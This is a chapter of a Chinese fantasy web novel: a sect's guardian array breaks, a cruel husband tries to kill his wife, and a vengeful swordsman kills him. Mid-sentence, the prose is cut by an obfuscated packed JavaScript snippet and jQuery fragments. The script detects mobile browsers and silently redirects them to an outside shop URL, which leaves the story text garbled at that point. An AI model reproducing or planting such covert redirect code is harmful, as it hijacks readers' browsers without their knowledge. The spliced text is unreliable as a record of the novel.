18.暗浪涛涛轻舟摇

作品:《如何摆脱黑化反派

    子时已过,玄善门一处弟子房里灯火通明。


    接连两天的善后事宜,门中弟子得了不少好处,凌乱的桌案上摆满了美酒美食,桌角四周散落着几堆黄白金银。


    一名白袍弟子将手里头的木骰子一丢,笑骂:“你们这是去山下庙里拜过财神了吗?整整一晚上就输我一个人。”


    身侧围坐的六七名同门哈哈大笑,许是喝多了酒,埋汰人也没个忌讳:“城下肖家想将女儿嫁给你,给你偷摸塞了不少银钱,你散些给我们当喜钱又怎样?”


    白袍弟子摆摆手,嫌弃道:“肖家小门小户,那女儿长得远不如牡丹楼里的小翠儿,简直是异想天开。”


    似不愿多谈,白袍弟子站起身,伸了个懒腰,“坐了一宿,出去放水换个手气,你们今晚一个都不准走。”


    弟子们笑笑闹闹应声,白袍弟子出门转了个道,酒气熏昏了脑,连十几米远的恭房都懒得走,就近寻了一棵老树。


    他哼着歌,迷着眼,近旁弟子房里一人推开窗,怒斥:“做什么!不知这里睡了人?跑这里撒野?”


    白袍弟子一见是他,讽笑道:“哟,这不是咱们正义凛然的吴邪吗?大晚上不睡觉,是在屋里偷摸编排同门?”


    吴邪熟悉他的混蛋劲,冷笑一声:“你们这城墙厚的脸皮还需我编排?滚远些,莫吵着我!”


    白袍弟子却不怕他,酒虫上脑挑衅行来,“我若不走又怎样?你揍我一顿?还是去师父那告状?你不是最擅长告状了吗?”


    悠悠哉哉晃荡着身子,嚣张的冲吴邪勾起了手。


    吴邪双拳一握,正要教训一下这个无赖酒鬼,忽而双目一睁。


    眼前嚣张之人身形一顿,素白的长袍突然自肩头而下染成诡异的深色,他身后缓缓显现出一个如雾一般的黑影,一双惨绿的双瞳在黑影中邪邪盯着他。


    轰然一声巨响,伴着冲天而起的长鸣划破长夜,整个玄善门霎时地动山摇。


    夜空中金光大作,灼灼满天。


    守山大阵,破了……


    姒芙很疼。


    她经历过万千疼痛,早已习惯。


    可陆之轩偏要折磨她,手上的灵力一点一点往颅内积攒,他慢慢欣赏,等待着她脑花胀破的一瞬间美景。


    咸涩的汗水滑落到眼角,姒芙指尖触到一枚黄符,撑着唯一一丝清明,嘶声开口,“陆之轩,你要为了一个寂无寐,得罪姒家?”


    陆之轩手下一顿,涌进的灵力转缓,却并未停歇,“你提醒了我,那便叫你更痛苦些。”


    一股酸胀痛意霎时游遍全身,姒芙没忍住低哼一声,捏住黄符正要发作。


    倏地,天空中响起一声尖利的警铃长啸,两人俱是一怔。


    陆之轩手下一顿,望向窗外,忽见夜空中金阵碎裂,伴随着数道妖兽吠叫,一听就是群妖动乱。


    他猛地站起身,“怎么回事!哪来的妖?护山阵怎么会碎?”


    姒芙同样望向空中金芒,惊诧过后转而笑问:“陆少主,你要先除妖呢?还是先弑妻?”


    陆之轩猛然瞪向他,杀意在眼中几经沉浮,猛地拽起她,阴恻恻道:“你做的手脚?”


    姒芙蔑笑:“陆少主怕是昏了头了,你没听见妖吼?我哪来的能耐,能像你们玄善门一样诱妖生乱啊?”


    “好,很好,姒芙,你很有胆色,此时还不忘激怒我。”陆之轩恨不得就地解决她,手上残留的灵力噼啪作响。


    姒芙好整以暇地与他对视,大阵在此时碎裂,而她是门中唯一有能力的阵修。如今掌握对方生杀大权的人,成了她。


    陆之轩似恨极了她这个模样,长剑出鞘高高举起,姒芙无所畏惧的笑望着他。


    铮然一声,姒芙脚下一轻,链条被人劈断。


    她唇角的笑容愈发灿烂。


    陆之轩一手掐住她下颌,厉声道:“你也别得意,我总有办法收拾你!”


    他一把擒住姒芙,飞向天际。


    脚下是闻声而出的玄善门众,人群间夹杂着数只妖兽身影,数量有数十只之多,远远超过了他们的想象。弟子们奋力抵抗,有些则惊慌失措弃械而逃,场面混乱不堪。


    远处,破了个大口子的护山阵外,不停的有妖兽涌入。


    姒芙远望一眼,认出几只蛰伏在东山的妖。


    她掩下眼中疑惑。


    护山阵确实被她动过手脚,做了一道不太明显的漏洞,本是为了用来逃跑,谁知这群东山的妖,被陆之轩带人惹怒过一番后竟然打了回来,还恰恰撞上阵中薄弱处。


    没想到留给自己的后路,反而被妖利用,真是凑巧。


    数量这么多的妖,定有领头的大妖,若那只大妖有如此智慧,只怕来历不简单。


    也不知说她是运气好还是运气差,总归这一回阴差阳错,竟是这帮妖给了她一线生机。


    守山阵破,陆之轩此时是真不敢杀她了。


    阵眼位于后山禁林,陆之轩拎着她来到禁林中央,把她丢在一座三层宝塔前。


    青砖垒砌的宝塔没有任何装饰,只在塔顶放着一颗晶莹剔透的琉璃圆球。


    球内七彩光芒已经黯淡,一闪一闪,随时要熄灭一般。


    姒芙拍了拍裙角灰尘,“陆少主,你不解我束灵咒,让我怎么给你修阵?”


    陆之轩望着禁林外声响处,紧紧捏着腰间玉牌,路上她曾见陆之轩有传讯,但至今未见回音。


    许是一直未得回应,又操心宗内妖乱,陆之轩对姒芙更加没了耐心,挥手解了她的束灵咒。


    “你莫要再跟我耍花招!”


    姒芙无视脖间架上的长剑,一边向宝塔走去,一边笑道:“妾身哪敢呀,妾身命长,可不想落入妖兽腹中。”


    掏出一瓶补灵丹尽数服下,脚下一蹬跳上宝塔顶端。


    手扶上琉璃球,球内的光芒感知到灵力,胡乱窜动起来。


    姒芙一一梳理着里头混乱的阵源,若是此时有阵修在场,便能发现球中逐渐有序的光线里,有一根线略细于其他阵线。


    陆之轩幽幽飘到她身前,目光不移地监视着她。


    姒芙眉眼不抬,专心致志盯着眼前的阵眼,却在陆之轩拔剑的前一秒,抬手一挥。


    霎时,两股灵力冲撞在一起,碎成光屑。


    光尘中,姒芙娇笑道:“夫君怎如此性急?妾身还有最后一步未完成呢。”


    陆之轩冷哼一声,“若未完成,芙儿为何在暗中催动飞遁的隐风诀?”


    话音方落,一道剑光再次袭来,姒芙旋身一躲,然而袖袍仍旧擦到了剑气。


    姒芙微微皱眉,没有丹田,她灵力调动得并不顺畅。


    “姒芙,你曾经有六重修为又如何?如今丹田无用,真以为打得过我?”


    陆之轩口中讥笑,手上不停再次攻来。许是为了快刀斩乱麻,每一击都对准了她的要害。


    姒芙挪腾旋转,只能闪躲,陆之轩不给她任何出手的机会。


    她银牙暗咬,在他擦身而过之际,猛然洒出一道红雾,可惜没有丹田,这一击并没有想象中的雷霆之势。


    陆之轩反应极快,长剑画圆唤出一道风盾相迎,姒芙那软绵绵的一击被吹回身前。


    姒芙就地一滚,再要起身忽觉肩膀一痛,陆之轩一脚踩在她的肩头。


    他笑得邪肆,剑尖对准了她的眉心,“姒家长女姒芙,死于乱妖之中,你觉得这个死法如何?”


    姒芙讥笑:“夫君,你不需要妾身为你玄善门炼器了吗?”


    陆之轩笑道:“当然需要,我先砍断你的腿,对外宣布死讯躲避姒家追究,等将你慢慢用尽再杀掉。”


    姒芙赞道:“夫君考虑的真周到。”


    机会难得,两人都想利用这场妖乱。


    眼前长剑再次高举,姒芙掌中蓄力正要迎击,忽而“轰隆”一声巨响,缠斗的两人俱是一怔。


    只见本该修复的阵眼宝塔,在两人惊愕的目光中轰然倒塌,碎成了碾粉。


    头顶方修复好的守山大阵猛然炸成落花,散碎成细雨,绵绵密密落了下来。


    琉璃球骨碌碌滚到陆之轩脚边,亮了一瞬倏地熄灭。


    两人一惊。


    “姒芙!你做了什么!?”


    姒芙也懵然不解,她方才……的确好好修复了阵眼,为了活命,她还不至于继续放更多的妖进来,令她分身乏术。


    静谧山林里响起一声甜腻的娇笑,“原来阵眼在这呀!”


    尘埃落下,一名双十年华的美艳少女立于废墟之中,笑容晏晏的望着他们。


    少女紫发微卷,身着一条华丽碎星短裙,肤如凝脂,特别是一双眼,大而有神,如猫儿一般灵动。


    “有你们带路,让我省了不少功夫呢。”


    姒芙看向凭空出现的女子,一股巨大的恐惧裹挟而来,浑身血液凝滞,漫上一股噬人的战栗。


    月夜下,少女周身散发着肉眼可见的紫色气旋,如丝缎般缭绕在周身。


    那是……蓬勃的妖力!


    能化人形的妖,至少是八阶以上的大妖!


    寻常大妖皆守在妖界自己的一亩三分地里,甚少擅自出现在人间界。


    这里怎么会有大妖!?


    姒芙望着与人无异的娇美面庞,感受不到大妖的修为和原身,只怕比想象的妖阶更高。


    少女无视对峙的二人,一步一步缓缓行来,脚下是被妖力席卷的碎石乱屑,无形的威压将周身一切化成旋转漂浮的碾粉。


    大妖恐怖的妖力,压得她几乎喘不过气。


    突然,少女皱了皱鼻子,眼神落在她身上,莞尔一笑:“嗯?你好像……有些意思,陪本座玩一玩可好?”


    一双笑眼宛如深渊冰冷的锁链,裹挟住姒芙动弹不得。


    她从未见过如此强大的妖。


    少女两手一背,如天真无邪的小姑娘般,兴致勃勃道:“陪本座玩一玩,我考虑让手下那些小东西们少吃些人,怎样?很划算吧?”


    陆之轩惊惧的神色一顿,转而看向姒芙,眼里闪过一道灼热的亮光。


    求生的本能猛然挣脱恐惧枷锁,姒芙理智瞬间回笼,倏地化成一道红光,转身就跑。


    她不知这只莫名其妙的妖怎么就盯上了她,但她根本不是她的对手,只能先逃!


    身后有风声传来,向后一瞥,姒芙本以为是妖,谁想竟然是阴魂不散的陆之轩!


    而那只妖,前走了几步忽而停住脚步,站在原地远远笑望着她,眼里闪烁着奸计得逞的惬意。


    姒芙无暇深想,方才吞下的补灵丹经过几次争斗,加上运转掉大量灵力逃遁,几乎所剩无几。


    疾飞数里穿过玄善门领地,身后的陆之轩依然穷追不舍,数道灵光锁链飞来,她勉强躲过,只觉体内愈发空虚。


    一咬牙,落在山外一条河边,刚取出一瓶补灵丹就被一剑挑飞。


    “陆之轩,你疯了吗!为了抓我抛下门中众人!”


    陆之轩一脚将她踢翻,姒芙青丝散乱,险些滚入河中,肩膀一疼他再次踩住了她,阴邪道:“无人是那妖的对手,可那妖不是喜欢你?那我便抓你祭妖!”


    “妖的话你也信!看不出她是故意的吗!”


    掌心红


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367021|197838||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    光向他脖颈卷去。


    他微微侧头一躲,打下一道束灵咒,姒芙顿时灵力凝滞。


    “无论真假,姒芙,跟我回去,你可是我的宝贝,救我玄善门的宝贝。”


    他跟魔怔了一样,眼底的贪婪浓烈得令人作呕。


    姒芙眼睁睁看着那只向手她靠近,仅余半寸远。藏在手中的黄符一烧,姒芙猛然击向他的丹田。


    一声闷哼,陆之轩唇角留下一丝鲜血。


    “你……”


    姒芙正要续上一掌,忽听“噗嗤”一声,有什么突然自背后穿透他的胸膛,停在她鼻尖一寸远。


    月光探出云头,照清眼前之物,竟然……是一根树枝,一根普通光滑的树枝。


    枝头鲜血一滴一滴,缓缓滴落在她胸前,而身前的陆之轩,体内似有什么东西在乱窜,自树枝处游过四肢百骸直到咽喉,他猛地喷出一大口鲜血。


    那一口血里仿佛含着他的魂魄,长剑脱手,颓然倒下,气息断绝。


    四重修为的人,被一根树枝……刺死了?


    姒芙惊骇回神,再一抬眼,陆之轩倒下的身后,静静立着一个人。


    那人长身玉立,墨发无风飞舞,清冷的月色铺陈在精致的五官上,衬得他如银月中的无尘仙人。


    雪色长袍缀着星星点点的红梅血渍,深浅不一,给这月中仙点出几许诡异的妖冶。


    “寂……无寐?”


    来人清浅一笑,望了眼天色,仿若闲谈一般温声道:“时辰刚好。”


    “你……没死?”


    原本恬静闲适的人,恍然一笑,目光徐徐落回姒芙眼中,眸光泛着轻微涟漪。


    “是啊,我本该死了。”


    他款步踱来,金丝鲛皮靴踏过脚下残血,哧哧有声。他蹲下身凝望着她,长袍带起一阵轻风,姒芙闻见他身上浓烈的血腥味。


    他倾身向前,离她不过一拳距离,“你将陆琮引来,我本该死在他手上。”


    姒芙浑身一凛,“寂无寐,我不知……我……我本是想让他将你赶走。”


    寂无寐低笑一声,“莫怕,我等的就是他,可陆之轩那个废物非要将我藏起来,还是芙儿知晓我的心意,将我送了过去。”


    姒芙迷茫了一瞬,她以为她不小心害了寂无寐,实际上却是给他行了方便?


    “那陆琮……”


    “放心,他死透了,我将他的心脏碾碎了。”


    陆琮……也死了?死在寂无寐手上?


    “负我者,死在我手里,死得其所。”


    姒芙混乱的思绪顿时清醒,难道一切都是寂无寐的算计?救下陆之轩,藏身飞东城,难道是为了杀陆琮?可是陆琮有六重修为,寂无寐怎么有自信一击毙之?


    他到底是什么人?


    姒芙惊惧的心还未落下,他又幽幽开口:“可是芙儿啊,你的心又落在何处?”


    长指点在她心口,姒芙感受到一股冰冷刺骨的寒意。


    “你问我为何没死?我也想问,我本该死了,早就死了,应该死在诛邪之战中,死在你最敬爱的宗父手上?”


    姒芙心口骤缩,半晌不敢动弹。


    “我……”姒芙百口莫辩。


    他又道:“或者死在……你拿我试药试器整整三年的痛苦折磨之下?”


    姒芙浑身僵硬,他知道?他竟然知道?他什么时候知道的?


    他眼中泛着冰冷的柔光,“你本就无意救我,我几次因你险些没了命,芙儿,你说这笔账,怎么算?”


    怎么算?耳畔回荡着方才那句“负我者,死得其所”,她是他仇人姒家的后嗣,姒洄最得意的门生与子弟,跟他有着不共戴天的血仇。


    他笑意缱绻,轻轻问:“我该不该杀了你?”


    她终于明白,寂无寐的出现,步步为营,是来讨债的!


    “寂无寐……我……从未想过害你性命。”姒芙苍白无力辩驳了一句。


    “是啊,论迹不论心,你未真正伤害过我,”寂无寐叹息一声,烦恼道:“你欺骗我、愚弄我,一次又一次抛弃我,可又阴差阳错救我多回。”


    姒芙闻言心口松了稍许,又听寂无寐道:“你知道有多疼吗?刀入肌理,药入骨髓,慈悲面下是干脆冷酷的利用,那钻心的痛和彻骨的仇,回想一次又一次的救治,好似成了荒诞的笑话,我在死亡边缘不断徘徊,反复无常的濒死痛苦仿佛在提醒我,”他眼眸深沉,晦暗不明:“提醒我不能优柔寡断、轻易放过你。”


    他脸上依旧是如雾一般的笑意,可在姒芙眼中,犹如索命的邪鬼。


    她一生跌宕,却从未见过这个表面温润实则果决弑杀的恐怖之人,披着人皮行走在烈日之下,里头全是阴暗见不得光的算计与飘忽不定的疯魔。


    他缓缓捡起脚边陆之轩的长剑,冰冷的剑叶在她脖间虚晃而过,森寒的杀意毕现,她额上落下一滴冷汗。


    她见识过他的剑,快而无形,寂静无声,眨眼断人生机。


    她在他面前,弱得如随风荡漾的落雪,只能引颈就戮。


    忽然手中一暖,那柄杀人的长剑,被塞入她的掌心。


    寂无寐握着她的手,如在冒儿山时教她使刀那般,徐徐牵引着她。


    自然的动作在她眼中慢放,濒死的绝望让她忘了反抗,无力等待寂无寐的复仇。


    “芙儿,我这条命是你捡回来的。”


    却见那把剑架在他脖颈上,锋利的剑叶霎时在雪白肌肤上划出一道血线。


    清浅笑眸下是森然鬼气,“送你个机会,要不要收回这条命,杀了我这个……至死也要缠着你的仇敌?”